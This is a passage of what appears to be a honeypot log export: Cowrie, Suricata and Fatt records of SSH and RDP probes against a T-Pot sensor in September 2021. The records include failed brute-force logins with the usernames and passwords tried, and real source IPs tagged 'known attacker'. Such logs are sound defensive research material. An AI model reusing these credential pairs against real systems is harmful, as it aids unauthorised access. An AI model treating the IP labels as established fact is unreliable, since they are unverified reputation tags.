"ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50284, "dest_port": 22, "timestamp": "2021-09-20T11:23:54.184029", "@timestamp": "2021-09-20T11:23:54.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29260	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:23:54.184398+03	2021-09-20 14:30:03.899523+03	{"_id": "DAbyAnwBvYTbRNuEvTSz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d069efc5580f", "@version": "1", "timestamp": "2021-09-20T11:23:54.184398Z", "@timestamp": "2021-09-20T11:23:54.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29261	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:24:13.478571+03	2021-09-20 14:30:03.901524+03	{"_id": "NAbzAnwBvYTbRNuEBTS_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 1553478654326674, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34416, "dest_port": 22, "timestamp": "2021-09-20T11:24:13.478571Z", "@timestamp": "2021-09-20T11:24:13.478Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29262	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:24:13.478899+03	2021-09-20 14:30:03.902523+03	{"_id": "NgbzAnwBvYTbRNuEBzT1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "361a76fd34b4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:24:13.478899Z", "@timestamp": "2021-09-20T11:24:13.478Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29263	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:23:55.43345+03	2021-09-20 14:30:03.903523+03	{"_id": "DgbyAnwBvYTbRNuEwTSb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [er/123] failed", "session": "d069efc5580f", "@version": "1", "password": "123", "username": "er", "timestamp": "2021-09-20T11:23:55.433450Z", "@timestamp": "2021-09-20T11:23:55.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29264	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:23:56.721616+03	2021-09-20 14:30:03.904523+03	{"_id": "EAbyAnwBvYTbRNuExTSD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d069efc5580f", "@version": "1", "duration": 2.8215878009796143, "timestamp": "2021-09-20T11:23:56.721616Z", "@timestamp": "2021-09-20T11:23:56.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29265	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:24:36.494224+03	2021-09-20 14:30:03.906524+03	{"_id": "awbzAnwBvYTbRNuEYTTY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:61097 (192.168.176.2:22) [session: b825353b6cb6]", "session": "b825353b6cb6", "@version": "1", "protocol": "ssh", "src_port": 61097, "dest_port": 22, "timestamp": "2021-09-20T11:24:36.494224Z", "@timestamp": "2021-09-20T11:24:36.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29266	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:24:36.135113+03	2021-09-20 14:30:03.907525+03	{"_id": "bAbzAnwBvYTbRNuEYTTY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.login.failed", "message": "login attempt [riad/riad] failed", "session": "aeccede0b4a6", "@version": "1", "password": "riad", "username": "riad", "timestamp": "2021-09-20T11:24:36.135113Z", "@timestamp": "2021-09-20T11:24:36.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
29267	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:24:36.497034+03	2021-09-20 14:30:03.909524+03	{"_id": "bQbzAnwBvYTbRNuEYTTY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "b825353b6cb6", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:24:36.497034Z", "@timestamp": "2021-09-20T11:24:36.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29268	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:24:36.759838+03	2021-09-20 14:30:03.910523+03	{"_id": "bgbzAnwBvYTbRNuEYTTZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "b825353b6cb6", "@version": "1", "timestamp": "2021-09-20T11:24:36.759838Z", "@timestamp": "2021-09-20T11:24:36.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29269	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:24:36.75909+03	2021-09-20 14:30:03.912524+03	{"_id": "bwbzAnwBvYTbRNuEYzSK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 273026498463194, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 61097, "dest_port": 22, "timestamp": "2021-09-20T11:24:36.759090Z", "@timestamp": "2021-09-20T11:24:36.759Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29270	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:24:36.759217+03	2021-09-20 14:30:03.913523+03	{"_id": "cAbzAnwBvYTbRNuEZDS8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 61097, "dest_port": 22, "timestamp": "2021-09-20T11:24:36.759217", "@timestamp": "2021-09-20T11:24:36.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29271	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:24:37.342996+03	2021-09-20 14:30:03.914524+03	{"_id": "cQbzAnwBvYTbRNuEZTTA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "aeccede0b4a6", "@version": "1", "duration": 2.389514684677124, "timestamp": "2021-09-20T11:24:37.342996Z", "@timestamp": "2021-09-20T11:24:37.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
29272	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:24:38.161835+03	2021-09-20 14:30:03.915525+03	{"_id": "cwbzAnwBvYTbRNuEaTSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/27e5cbbf1c] failed", "session": "b825353b6cb6", "@version": "1", "password": "27e5cbbf1c", "username": "root", "timestamp": "2021-09-20T11:24:38.161835Z", "@timestamp": "2021-09-20T11:24:38.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29273	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:24:39.408482+03	2021-09-20 14:30:03.917523+03	{"_id": "dAbzAnwBvYTbRNuEazRc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:24:39.042249+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 10576079594761, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 64995, "timestamp": "2021-09-20T11:24:39.408482Z", "@timestamp": "2021-09-20T11:24:39.408Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29274	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:24:39.430471+03	2021-09-20 14:30:03.918523+03	{"_id": "fQbzAnwBvYTbRNuEbTSS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/27e5cbbf1cjp] failed", "session": "b825353b6cb6", "@version": "1", "password": "27e5cbbf1cjp", "username": "root", "timestamp": "2021-09-20T11:24:39.430471Z", "@timestamp": "2021-09-20T11:24:39.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29281	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:24:27.808782+03	2021-09-20 14:30:03.928524+03	{"_id": "VQbzAnwBvYTbRNuEPjSs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "c6df46b733a0", "@version": "1", "duration": 0.4610452651977539, "timestamp": "2021-09-20T11:24:27.808782Z", "@timestamp": "2021-09-20T11:24:27.808Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
29275	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:24:39.756379+03	2021-09-20 14:30:03.919524+03	{"_id": "fgbzAnwBvYTbRNuEbzRF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:24:39.042249+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 10576079594761, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64995, "dest_port": 3389, "timestamp": "2021-09-20T11:24:39.756379Z", "@timestamp": "2021-09-20T11:24:39.756Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29276	5.188.62.250	109.199.241.180	Suricata	2021-09-20 14:24:27.408011+03	2021-09-20 14:30:03.921523+03	{"_id": "RgbzAnwBvYTbRNuEPDR1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:24:27.287543+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1262}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.250", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 236611617645367, "payload": 